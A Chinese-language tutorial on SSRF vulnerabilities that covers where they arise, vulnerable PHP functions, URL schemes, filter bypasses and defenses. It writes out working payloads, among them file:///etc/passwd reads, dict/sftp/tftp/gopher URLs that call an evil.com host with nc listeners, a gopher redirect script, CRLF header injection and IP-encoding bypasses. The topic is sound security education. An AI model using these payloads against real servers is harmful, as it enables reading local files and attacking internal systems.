SSRF漏洞
介绍:
SSRF(Server-Side Request Forgery):服务器端请求伪造,该漏洞通常由攻击者构造的请求传递给服务端,服务器端对传回的请求未作特殊处理直接执行而造成的。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。如从指定URL地址加载图片、文本资源或者获取指定页面的内容等
原理:
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页完本内容、加载指定地址的图片、下载等。
攻击方式:
攻击者想要访问服务器B上的服务,但由于存在防火墙或者服务器B是属于内网主机等原因,导致攻击则无法直接访问主机B,而服务器A存在SSRF漏洞,攻击者就可以借助服务器A发起SSRF攻击,通过服务器A向服务器B发起请求,从而获取服务B的一些消息。
漏洞危害
SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件
让服务端去访问相应的网址
让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
可以使用file、dict、gopher、ftp协议进行请求访问相应的文件
攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包payload)
攻击内网应用程序(利用跨协议通信技术)
判断内网主机是否存活:方法是访问看是否有端口开放
DoS攻击(请求大文件,始终保持连接keep-alive always)
可能出现的地方:
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
产生SSRF漏洞的函数:
php可能存在SSRF漏洞的函数:
1、file_get_contents:file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
2、fsockopen():fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
3、curl_exec():curl这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。
注意:
一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转,
file_get_contents() file_get_contents支持php://input协议
SSRF中URL的伪协议
当发现了SSRF漏洞,首先要测试所有可用的URL伪协议
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
本地文件传输协议,File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样;
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
字典服务器器协议,dict是基于查询响应的TCP协议,它的目标是超越Webster protocol,
并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628;主要用来探测内网端口协议
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
是互联网上使用的分布型的文件搜集获取网络协议。gopher协议是在HTTP协议出现之前,在internet上常见重用的协议,但是现在已经用的很少了
利用gopher协议,可以攻击
• MySQL (Port-3306)
• FastCGI (Port-9000)
• Memcached (Port-11211)
• Redis (Port-6379)
• Zabbix (Port-10050)
• SMTP (Port-25)
1、file,这种URL Schema可以尝试从文件系统中获取文件,先在连接中使用大小字母判断操作系统,若大写有返回小写无返回则为linux系统(linux系统区分大小写),例如
http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制
2、dict,这种URL Schema能够引用允许通过DICT协议使用的定义或单词列表,例如:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.1.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
3、sftp,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.1.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
4、ldap://或idaps://或idapi://,LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
5、tftp://,TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
6、gopher://,Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header(‘Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest’);?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.1.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
SSRF绕过方式:
1.限制为http://www.xxx.com 域名时(利用@)
可以尝试采用http基本身份认证的方式绕过
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
2.采用短网址绕过
比如百度短地址https://dwz.cn/
3.采用进制转换
127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.
4.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
(xip.io 现在好像用不了了,可以找找其他的)
5.利用[::]
可以利用[::]来绕过localhost
http://123.254.34.254>>http://[::123.254.34.254]
6.利用句号
127。0。0。1 >>> 127.0.0.1
7、CRLF 编码绕过
%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
8.利用封闭的字母数字
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://123.254.34.254 >>>http://[::①②③。②⑤④。③④。②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
限制绕过:
1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址
防御方式:
1、过滤返回的信息,如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2、统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
3、限制请求的端口,比如80,443,8080,8090。
4、禁止不常用的协议,仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。
5、使用DNS缓存或者Host白名单的方式。
DNS Rebinding
DNS 重绑定攻击的原理是:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或绕过waf进行ssrf的目的
获取到输入的URL,从该URL中提取host
对该host进行DNS解析,获取到解析的IP
检测该IP是否是合法的,比如是否是私有IP等
如果IP检测为合法的,则进入curl的阶段发包